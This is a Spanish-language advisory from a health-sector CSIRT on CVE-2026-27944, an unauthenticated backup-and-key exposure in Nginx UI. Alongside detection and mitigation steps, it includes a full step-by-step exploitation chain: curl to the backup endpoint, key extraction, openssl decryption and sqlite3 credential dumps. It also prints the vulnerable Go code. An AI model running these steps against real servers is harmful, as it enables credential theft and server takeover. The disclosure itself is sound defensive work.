Boletín informativo
Vulnerabilidad CVE-2026-27944 en Nginx UI

CSIRTSALUD-AV-20260310-35 **TLP: CLEAR**

Incidente ID:	035
Fecha del reporte:	10/03/2026
Entidad:	Todas las Entidades del Ecosistema Digital
Título:	Vulnerabilidad CVE-2026-27944 en Nginx UI
Herramienta de detección	N/A
Activo involucrado:	Nginx UI (interfaz web para Nginx)
Tipo de incidente:	Boletín informativo
Nivel de riesgo:	Medio

Objetivo:

Informar a las entidades del Ecosistema sobre la existencia de una vulnerabilidad crítica identificada bajo el código CVE-2026-27944, que afecta a Nginx UI, la interfaz gráfica de administración web para servidores Nginx.

Es una vulnerabilidad crítica de divulgación de información no autenticada descubierta en Nginx UI, una interfaz web basada en Go diseñada para simplificar la administración de servidores Nginx. Fue publicada oficialmente el 5 de marzo de 2026 con una puntuación CVSS v3.1 de 9.8 (Crítico).

Descripción:

La vulnerabilidad CVE-2026-27944 permite a un atacante remoto y sin autenticación acceder al sistema de respaldos de Nginx UI. El atacante puede descargar copias de seguridad completas del sistema y, simultáneamente, obtener la clave de cifrado necesaria para descifrarlas, la cual el propio servidor expone de forma inadvertida en sus respuestas.

La falla es producto de dos errores de implementación independientes pero complementarios en el backend de Nginx UI (escrito en Go):

Error #1	CWE-306 — Autenticación faltante en función crítica: El endpoint /api/backup fue registrado fuera del grupo de rutas protegidas por middleware de autenticación en el archivo api/backup/router.go. Mientras endpoints como /api/settings o /api/nginx estaban correctamente protegidos, el endpoint de respaldo quedó accesible como recurso público.

Error #2	CWE-321 — Transmisión insegura de clave criptográfica: El handler CreateBackup (en api/backup/backup.go) implementa un antipatrón criptográfico. Genera una clave AES-256 aleatoria de 32 bytes para cifrar el respaldo, pero transmite esa misma clave en la cabecera HTTP X-Backup-Security de la respuesta, anulando completamente la protección del cifrado.

Nginx UI genera respaldos del sistema en formato ZIP cifrado con AES-256-CBC. El archivo nginx-ui.zip contiene múltiples archivos sensibles organizados internamente. Al momento de generar el respaldo, el sistema:

1. Genera un par clave/IV (Initialization Vector) aleatorio de 32 y 16 bytes respectivamente.
2. Cifra el contenido del respaldo usando AES-256 en modo CBC.
3. Transmite el archivo cifrado como respuesta HTTP al solicitante.
4. Incluye la clave AES y el IV codificados en Base64 dentro de la cabecera HTTP X-Backup-Security.

Dado que el endpoint no requiere autenticación, cualquier agente externo puede ejecutar los pasos 1 al 4, obteniendo tanto el archivo cifrado como las claves para descifrarlo en la misma transacción HTTP.

Consecuencias de la Explotación

El impacto de esta vulnerabilidad resulta en un compromiso total de la confidencialidad y la integridad potencial de la infraestructura. Al descifrar el archivo de respaldo, el atacante obtiene acceso inmediato a datos altamente críticos, incluyendo:

- Credenciales de administrador y de usuarios de la aplicación.
- Tokens de sesión activos.
- Claves privadas de certificados SSL/TLS.
- Archivos de configuración detallados del servidor Nginx y de la infraestructura subyacente.
- Inyección de reglas maliciosas en la configuración del servidor (backdoors HTTP, redirecciones a phishing).
- Escalamiento de privilegios a nivel de servidor si las credenciales son reutilizadas en otros sistemas.
- Exposición de rutas de proxy inverso, servicios upstream, hosts virtuales y reglas de enrutamiento interno.
- Descubrimiento de servicios internos que no estaban expuestos públicamente (bases de datos, microservicios, APIs internas).
- Obtención de credenciales de administrador almacenadas en database.db (base de datos SQLite interna).
- Posibilidad de descifrar retroactivamente tráfico HTTPS capturado previamente si se almacenó en capturas de red.

Con esta información, los atacantes pueden tomar control total del servidor web, interceptar tráfico cifrado (Man-in-the-Middle) o utilizar el servidor como pivote para comprometer otros activos dentro de la red interna.

Productos afectados:

Aquí está el listado completo de versiones afectadas:

Versión / Componente	Estado	Observaciones
Nginx UI < 2.3.0	Crítico	Completamente vulnerable — sin mitigaciones
Nginx UI 2.3.0 – 2.3.1	Crítico	Completamente vulnerable — sin mitigaciones
Nginx UI 2.3.2	Crítico	Completamente vulnerable — sin mitigaciones
Nginx UI 2.3.3	Parcheado	Versión corregida — actualizar inmediatamente
Nginx UI >= 2.3.3	Seguro	No vulnerable con parche aplicado
Nginx (servidor web)	No afectado	La vulnerabilidad está en Nginx UI, no en Nginx core

Modo de explotación y cadena de infección

A continuación se describe el flujo completo de explotación de CVE-2026-27944, desde el reconocimiento inicial hasta el impacto final. Esta información se proporciona exclusivamente con fines defensivos y de concientización.

Fase 1: Reconocimiento y Descubrimiento

El atacante identifica instancias de Nginx UI expuestas a internet mediante herramientas de escaneo o búsqueda pasiva. Los puertos comunes de Nginx UI son 9000 o 443/80 si está configurado con proxy. Puede usar motores de búsqueda de dispositivos (Shodan, Censys) para localizar instalaciones con los banners característicos de Nginx UI.

```
# Búsqueda en Shodan (reconocimiento pasivo)
shodan search 'title:"Nginx UI" http.status:200'


# Verificación de existencia del endpoint vulnerable
curl -s -o /dev/null -w "%{http_code}" http://TARGET:9000/api/backup
# Respuesta 200 = VULNERABLE | Respuesta 401/403 = Parcheado
```

Fase 2: Explotación — Descarga del Respaldo

Una vez identificada una instancia vulnerable, el atacante realiza una simple solicitud HTTP GET al endpoint /api/backup sin ningún encabezado de autenticación. El servidor responde con el archivo de respaldo y, críticamente, las claves de cifrado en los encabezados:

```
# Solicitud de explotación — Sin autenticación
curl -s -O -D headers.txt http://TARGET:9000/api/backup


# El servidor responde con:
# HTTP/1.1 200 OK
# Content-Type: application/zip
# X-Backup-Security: aGVsbG9Xb3JsZDEyMzQ1Njc4OTAxMjM0NTY=:aW5pdFZlY3Rvcg==
# Content-Disposition: attachment; filename="nginx-ui.zip"
#
# [ARCHIVO ZIP CIFRADO]
```

Fase 3: Extracción de Claves Criptográficas

El atacante extrae la clave AES-256 y el IV directamente del encabezado X-Backup-Security de la respuesta. Ambos valores están codificados en Base64. La clave es de 32 bytes (256 bits) y el IV de 16 bytes (128 bits), compatibles directamente con el estándar AES-256-CBC:

```
# Extracción de clave e IV desde los headers
HEADER=$(grep 'X-Backup-Security' headers.txt | cut -d' ' -f2)
KEY_B64=$(echo $HEADER | cut -d':' -f1)
IV_B64=$(echo $HEADER | cut -d':' -f2)

KEY=$(echo $KEY_B64 | base64 -d | xxd -p)
IV=$(echo $IV_B64 | base64 -d | xxd -p)

echo "Clave AES-256: $KEY"
echo "Vector IV:     $IV"
```

Fase 4: Descifrado del Respaldo

Con la clave y el IV en mano, el atacante descifra el archivo ZIP utilizando herramientas estándar de criptografía. El proceso es completamente trivial dado que las claves fueron entregadas por el propio servidor:

```
# Descifrado con OpenSSL (AES-256-CBC)
openssl enc -d -aes-256-cbc -K $KEY -iv $IV \
   -in nginx-ui.zip -out nginx-ui-decrypted.zip

# Extracción del respaldo descifrado
unzip nginx-ui-decrypted.zip -d backup_extracted/

# Estructura obtenida:
# backup_extracted/
# ├── database.db      <- Credenciales, tokens de sesión
# ├── app.ini          <- Secretos de aplicación, API keys
# ├── hash_info.txt    <- Hashes SHA-256 de integridad
# └── nginx/           <- Configuraciones completas de Nginx
```

Fase 5: Extracción de Datos Sensibles y Post-explotación

Con el respaldo descifrado, el atacante extrae toda la información sensible disponible:

```
# Extracción de credenciales de la base de datos SQLite
sqlite3 backup_extracted/database.db ".tables"
sqlite3 backup_extracted/database.db "SELECT username, password FROM users;"
sqlite3 backup_extracted/database.db "SELECT * FROM auth_tokens;"

# Revisión de configuración de aplicación
cat backup_extracted/app.ini

# Extracción de claves SSL privadas
```

```
find backup_extracted/ -name "*.key" -o -name "*.pem" | xargs ls -la

# POST-EXPLOTACIÓN: Acceso admin a Nginx UI
# Con las credenciales extraídas, el atacante inicia sesión en la interfaz
# y puede modificar configuraciones, añadir backdoors o exfiltrar datos
```

Vulnerabilidades Parchadas

La versión 2.3.3 de Nginx UI corrigió los dos fallos de implementación que componen CVE-2026-27944. A continuación se detalla cada vulnerabilidad y su solución:

CWE-306: Autenticación Faltante en Función Crítica

En la arquitectura de Nginx UI (basada en el framework Go Gin), las rutas de API se agrupan en dos categorías: rutas públicas (sin middleware) y rutas protegidas (con middleware JWT/Session). El archivo api/backup/router.go registraba el endpoint /api/backup en el grupo de rutas públicas por error de desarrollo, mientras que el endpoint de restauración (/api/restore) sí estaba correctamente protegido.

```
// CÓDIGO VULNERABLE (antes de 2.3.3) — api/backup/router.go
func InitRouter(r *gin.RouterGroup) {
    // El endpoint restore tiene middleware de autenticación
    protected := r.Group("/", middleware.Auth())
    protected.POST("/restore", Restore)

    // BUG: backup no tiene middleware — ruta pública accidental
    r.GET("/backup", CreateBackup)  // <-- VULNERABLE: sin autenticación
}

// CÓDIGO CORREGIDO (versión 2.3.3)
func InitRouter(r *gin.RouterGroup) {
    protected := r.Group("/", middleware.Auth())
```

```
    protected.POST("/restore", Restore)
    protected.GET("/backup", CreateBackup)  // <-- CORREGIDO: con autenticación
}
```

La corrección implementada en v2.3.3 mueve el registro del endpoint /api/backup al grupo de rutas protegidas, requiriendo ahora un token de sesión o JWT válido para acceder a él. Cualquier solicitud sin credenciales válidas recibe una respuesta HTTP 401 Unauthorized.

CWE-321: Transmisión Insegura de Clave Criptográfica Embebida

El handler CreateBackup implementaba un antipatrón criptográfico clásico: generaba una clave efímera AES-256 y la transmitía en texto claro (codificada en Base64) dentro del encabezado HTTP X-Backup-Security. Este diseño anulaba por completo el propósito del cifrado, dado que el receptor de la clave y el descifrador potencial son la misma entidad (o cualquier observador del tráfico HTTP).

```
// CÓDIGO VULNERABLE — api/backup/backup.go
func CreateBackup(c *gin.Context) {
    key := make([]byte, 32)  // Genera clave AES-256
    iv := make([]byte, 16)   // Genera IV
    rand.Read(key)
    rand.Read(iv)

    encryptedData := encryptAES256CBC(backupData, key, iv)

    // FALLO CRÍTICO: clave expuesta en cabecera HTTP pública
    c.Header("X-Backup-Security",
        base64.StdEncoding.EncodeToString(key) + ":" +
        base64.StdEncoding.EncodeToString(iv))

    c.Data(200, "application/zip", encryptedData)
}
```

```
// CORRECCIÓN en v2.3.3: La clave ya no se transmite en cabeceras HTTP.
// El cifrado usa una clave derivada de las credenciales del usuario
// o se elimina la exposición de la clave en la respuesta.
```

Relación con Tácticas MITRE ATT&CK

La explotación de CVE-2026-27944 se mapea directamente a múltiples técnicas del marco MITRE ATT&CK Enterprise, cubriendo desde el acceso inicial hasta el impacto final en la organización:

ID MITRE	Técnica	Táctica	Descripción
T1190	Exploit Public-Facing Application	Inicial	El atacante explota el endpoint /api/backup sin autenticación para acceso inicial al sistema.
T1083	File and Directory Discovery	Descubrimiento	El atacante descubre estructura interna del servidor a través de archivos en el respaldo (configs Nginx).
T1552	Unsecured Credentials	Acceso a Credenciales	Extracción de credenciales admin, tokens de sesión y secretos de app desde database.db y app.ini.
T1552.004	Private Keys	Acceso a Credenciales	Obtención de claves privadas SSL/TLS de todos los dominios administrados por Nginx UI.
T1588	Obtain Capabilities	Recursos/Desarrollo	Uso de las claves AES expuestas en cabeceras HTTP para descifrado inmediato del respaldo.
T1557	Adversary-in-the-Middle	Colección / Impacto	Con claves SSL privadas comprometidas, el atacante puede interceptar o suplantar el tráfico HTTPS.

ID MITRE	Técnica	Táctica	Descripción
T1078	Valid Accounts	Persistencia	Uso de credenciales de administrador extraídas del respaldo para acceso persistente a Nginx UI.
T1565	Data Manipulation	Impacto	Modificación de configuraciones Nginx para redirigir tráfico o desplegar reglas maliciosas.

Cadena de Ataque (Kill Chain) Asociada

La explotación de esta vulnerabilidad sigue la siguiente cadena de compromiso según el modelo MITRE:

Paso 1 — Acceso Inicial	T1190: El atacante explota el endpoint /api/backup expuesto públicamente para obtener el respaldo completo sin credenciales. No se requiere interacción del usuario ni vectores adicionales.
Paso 2 — Acceso a Credenciales	T1552 / T1552.004: Extracción de credenciales de administrador, tokens de sesión y claves privadas SSL/TLS del respaldo descifrado.
Paso 3 — Descubrimiento	T1083: Análisis de archivos de configuración Nginx para mapear la infraestructura interna, servicios upstream y topología de red.
Paso 4 — Persistencia / Movimiento Lateral	T1078: Uso de credenciales extraídas para autenticarse en Nginx UI y otros sistemas, con T1565 para modificación maliciosa de configuraciones.

Indicadores de compromiso:

Los siguientes indicadores permiten detectar si un sistema ha sido objetivo de explotación de CVE-2026-27944. Se recomienda revisarlos en logs de acceso HTTP, SIEM y herramientas de monitoreo de red:

Categoría	Indicador	Descripción
Red / HTTP	GET /api/backup sin cabecera Authorization	Solicitud HTTP a endpoint de respaldo sin autenticación
Cabecera HTTP	X-Backup-Security en respuesta del servidor	Exposición de clave AES-256 e IV en cabeceras HTTP
Archivo	nginx-ui.zip descargado externamente	Descarga de archivo comprimido de respaldo del sistema
Log de acceso	200 OK en /api/backup desde IP externa	Acceso exitoso no autorizado al endpoint
Archivo interno	database.db, app.ini, hash_info.txt	Archivos sensibles incluidos en el respaldo
Herramienta	Scripts Python con pycryptodome / openssl	Herramientas de descifrado AES-256-CBC
Red	Múltiples peticiones GET desde misma IP	Posible reconocimiento o explotación automatizada

Patrones en Logs de Acceso HTTP (Nginx / Nginx UI)

Buscar en los logs de acceso las siguientes firmas:

```
# Patrón de solicitud maliciosa en access.log
192.168.X.X - - [05/Mar/2026:14:22:11] "GET /api/backup HTTP/1.1" 200 - "-" "python-requests/2.31"

# Indicador en respuesta del servidor (cabecera expuesta)
```

```
X-Backup-Security: BASE64KEY==:BASE64IV==
Content-Type: application/zip
Content-Disposition: attachment; filename="nginx-ui.zip"

# Comando de detección con grep en access.log
grep -i "GET /api/backup" /var/log/nginx/access.log
```

Factores de Riesgo Adicionales:

- Riesgo máximo si el puerto de Nginx UI (por defecto 9000) está accesible desde internet sin firewall o VPN.: Exposición a internet pública
- El riesgo se multiplica si Nginx UI gestiona certificados SSL de múltiples dominios o subdominos.: Integración con múltiples dominios
- Si las credenciales de Nginx UI se reusan en otros sistemas, el impacto se extiende más allá del servidor web.: Reutilización de credenciales
- Organizaciones sin análisis de logs HTTP pueden no detectar la explotación hasta después de un incidente mayor.: Falta de monitoreo de logs

Recomendaciones de mitigación:

Actualizar Nginx UI a la versión 2.3.3 o superior de forma INMEDIATA. Esta es la única solución definitiva para CVE-2026-27944.

Verificar versión actual instalada
nginx-ui --version

Actualización según método de instalación:

Método 1: Script oficial de instalación

bash <(curl -L https://raw.githubusercontent.com/0xJacky/nginx-ui/main/install.sh) upgrade

Método 2: Docker

- docker pull uozi/nginx-ui:latest
- docker stop nginx-ui && docker rm nginx-ui
- Recrear contenedor con nueva imagen

Método 3: Binario manual

- Descargar v2.3.3 desde: https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.3
- Reemplazar binario y reiniciar servicio

Verificar versión después de actualizar
nginx-ui --version # Debe mostrar >= 2.3.3

Mitigaciones Temporales (Si no es posible actualizar de inmediato)

1. Bloquear el endpoint /api/backup mediante firewall de aplicación web (WAF) o reglas de red.
2. Restringir el acceso a Nginx UI exclusivamente a IPs internas de confianza mediante firewall perimetral o reglas iptables.
3. Implementar autenticación básica HTTP adicional (a nivel de proxy inverso) como capa de defensa.
4. Deshabilitar temporalmente el servicio Nginx UI hasta aplicar el parche si no está siendo usado activamente.

```
# Mitigación temporal con iptables — bloquear acceso externo al puerto de Nginx UI
iptables -I INPUT -p tcp --dport 9000 -s 0.0.0.0/0 -j DROP
iptables -I INPUT -p tcp --dport 9000 -s 10.0.0.0/8 -j ACCEPT   # Solo red interna
iptables -I INPUT -p tcp --dport 9000 -s 192.168.0.0/16 -j ACCEPT

# Bloquear específicamente el endpoint con nginx proxy inverso
location /api/backup {
    deny all;
    return 403;
}
```

Detección Activa — Verificación de Compromiso

Ejecutar las siguientes verificaciones para determinar si ya se produjo una explotación:

```
# 1. Buscar solicitudes sospechosas al endpoint en logs
grep 'GET /api/backup' /var/log/nginx/access.log | grep ' 200 '

# 2. Buscar accesos desde IPs externas (ajustar según red interna)
awk '$1 !~ /^(10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.)/' /var/log/nginx/access.log \
   | grep '/api/backup'

# 3. Verificar integridad de archivos de configuración Nginx
find /etc/nginx -name '*.conf' -newer /var/log/nginx/access.log -exec ls -la {} \;

# 4. Verificar usuarios admin en Nginx UI (buscar cuentas no autorizadas)
sqlite3 /path/to/nginx-ui/database.db "SELECT id, name, email, created_at FROM users;"

# 5. Monitorear con auditd
auditctl -w /path/to/nginx-ui/database.db -p rwa -k nginx_ui_db_access
```

Medidas de Seguridad Preventivas a Largo Plazo

- Nunca exponer interfaces de administración web a internet público — usar VPN o bastión SSH para acceso remoto.
- Implementar monitoreo continuo de logs HTTP con alertas automáticas para accesos a endpoints sensibles (/api/backup, /api/config, etc.).
- Aplicar el principio de mínimo privilegio: Nginx UI debe ejecutarse con usuario sin privilegios de root.
- Implementar autenticación multifactor (MFA) en todas las interfaces de administración web.
- Realizar auditorías de seguridad periódicas sobre las herramientas de administración de infraestructura.

Fuentes:

- https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762
- https://nvd.nist.gov/vuln/detail/CVE-2026-27944
- https://advisories.gitlab.com/pkg/golang/github.com/0xjacky/nginx-ui/CVE-2026-27944/
- https://cvereports.com/reports/CVE-2026-27944
- https://thecyberexpress.com/cve-2026-27944-nginx-ui-backup-vulnerability/
- https://www.thehackerwire.com/nginx-ui-unauthenticated-backup-disclosure-cve-2026-27944/
- https://cwe.mitre.org/data/definitions/306.html
- https://cwe.mitre.org/data/definitions/321.html
- https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.3
- https://cybersecuritynews.com/nginx-ui-vulnerabilities/

En caso de dudas, inquietudes o requerir asistencia adicional relacionada con esta alerta de seguridad, puede comunicarse directamente con el CSIRT Salud a través de las líneas telefónicas (+57) 316 8931490 - 3181553570 o mediante el correo electrónico csirtsalud@minsalud.gov.co. Nuestro equipo está disponible para brindar el acompañamiento necesario.